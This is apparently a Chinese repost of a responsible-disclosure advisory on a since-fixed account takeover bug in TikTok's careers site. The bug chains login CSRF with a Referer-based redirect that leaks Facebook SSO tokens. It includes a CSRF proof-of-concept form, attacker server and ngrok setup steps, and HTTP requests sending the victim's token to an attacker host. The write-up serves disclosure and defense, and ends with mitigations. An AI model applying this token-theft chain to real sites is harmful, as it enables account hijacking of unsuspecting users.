account takeover系列-TikTok招聘网站的账号接管漏洞
该网站(careers.tiktok.com)漏洞报告于2020年10月17日通过Hackerone提交至TikTok，TikTok在12天内修复了该漏洞
一 前言
该网站为TikTok的招聘网站,该网站使用Facebook和Linkedin实现单点登录。由于存在CSRF漏洞以及开放的重定向漏洞,恶意攻击者可能会接管该网站用户的账户。该漏洞仅限于TikTok的招聘网站，不会影响TikTok 的其他网站或移动应用程序
二 CSRF漏洞
为了实现账户接管,受害者使用自己Facebook账号在careers.tiktok.com上进行身份验证，同意与TikToK共享数据。此外受害者要在Facebook上有一个活跃的会话。TikTok没有有效防范在登录点和Facebook交互中可能存在的CSRF问题。因此，恶意攻击者使用一个微不足道的CSRF攻击，就可以接管受害者账户：
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://careers.tiktok.com/api/v1/user/facebook/login">
<input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
如果我们忽略以下步骤，那么在常规登录流程结束后，受害者将被认证到他们自己的帐户中。
三 身份验证
如果Referer头存在于https://careers.tiktok.com/api/v1/user/facebook/login 的请求中，则高度敏感的令牌会泄漏给潜在的攻击者控制的网站。使用此令牌，攻击者就可以替代受害者进行身份验证。因为对于TikTok，无法验证该令牌的发起者是攻击者还是受害者。
四 利用步骤
就像Barth等人在2008年引入的web攻击者模型一样(https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf ),我们设法让受害者访问攻击者控制的网站。此外， 如前所述，我们需要受害者将其Facebook帐户链接到TikTok的职业门户网站。
(0) 保存上述登录CSRF PoC并启动一个简单的web服务器：$ python -m http.server 1234
(1) 通过ngrok反向代理以及安全传输层协议(TLS)获取一个具有有效证书的公共(子)域。方便进一步的漏洞利用 $ ngrok http 1234
(2) 受害者浏览https://abcdefghij.ngrok.io 上的POC(攻击者控制)来实施攻击，手动点击该POC(这也可以使用JavaScript来实现，以便对受害者隐藏请求)
(3) 没有其他的和受害者的交互,便会在careers.tiktok.com 发起一个登录的请求,在这一步中重要的是Referer头
GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1
Host: careers.tiktok.com
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]
(4) 没有进一步的和受害者的互动，受害者被重定向到Facebook
HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_
(6) 在 https://abcdefghij.ngrok.io 将会接收到/api/v1/user/facebook/callback 的记录 重点：之所以这样做是因为该网站使用/api/v1/user/facebook/login请求中的Referer作为跳转的主机。由于此请求由攻击者控制，攻击者可以获得受害者的令牌参数
GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform =pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]
此时，具有发起CSRF攻击能力的攻击者将获得绑定到受害者Facebook帐户的令牌。
以下步骤是从攻击者的角度在新的浏览器会话中执行的:
(7) 攻击者在https://careers.tiktok.com/login 中单击Facebook按钮。
(8) 攻击者执行所有步骤并转发所有请求，直到最终请求（包括他的令牌）将被发送到 https://careers.tiktok.com/api/v1/user/facebook/callback 在此请求中，攻击者将其令牌 与先前获得的绑定到受害者帐户的令牌进行交换
GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform =pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: careers.tiktok.com
[...]
(9) 攻击者登录了受害者账号
通用流程如下所示：
小结
通过CSRF向Fackbook发起请求+URLredirect获取返回的身份令牌，替换令牌实现接管账户
五 影响
恶意参与者可以使用跨站点请求伪造来接管受害者在careers.tiktok.com的帐户。
六 建议
在初次报告期间提出了以下建议：对要进行身份验证的端点实施CSRF保护，以减少登录中的CSRF漏洞（将用户验证到其帐户中）。不要向第三方泄露敏感的身份验证相关参数，如令牌。如果Referer用于确定令牌的目标，则必须使用适当的白名单验证其值！
七 负责任的披露
2020年10月17日：[LH]通过Hackerone提供初始报告：https://hackerone.com/reports/1010522 2020年10月18日：[TikTok]对报告的CVSS评分较高（7.5）。2020年10月28日：[TikTok]悬赏。2020年10月29日：[TikTok]报告已解决。2020年10月29日：[LH]修复成功重新测试。负责任的披露过程堪称典范，为TikTok的应用程序安全团队致敬！
原文地址: https://security.lauritz-holtmann.de/advisories/tiktok-account-takeover/
原文始发于微信公众号（迪哥讲事）：account takeover系列-TikTok招聘网站的账号接管漏洞(通过csrf和重定向)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论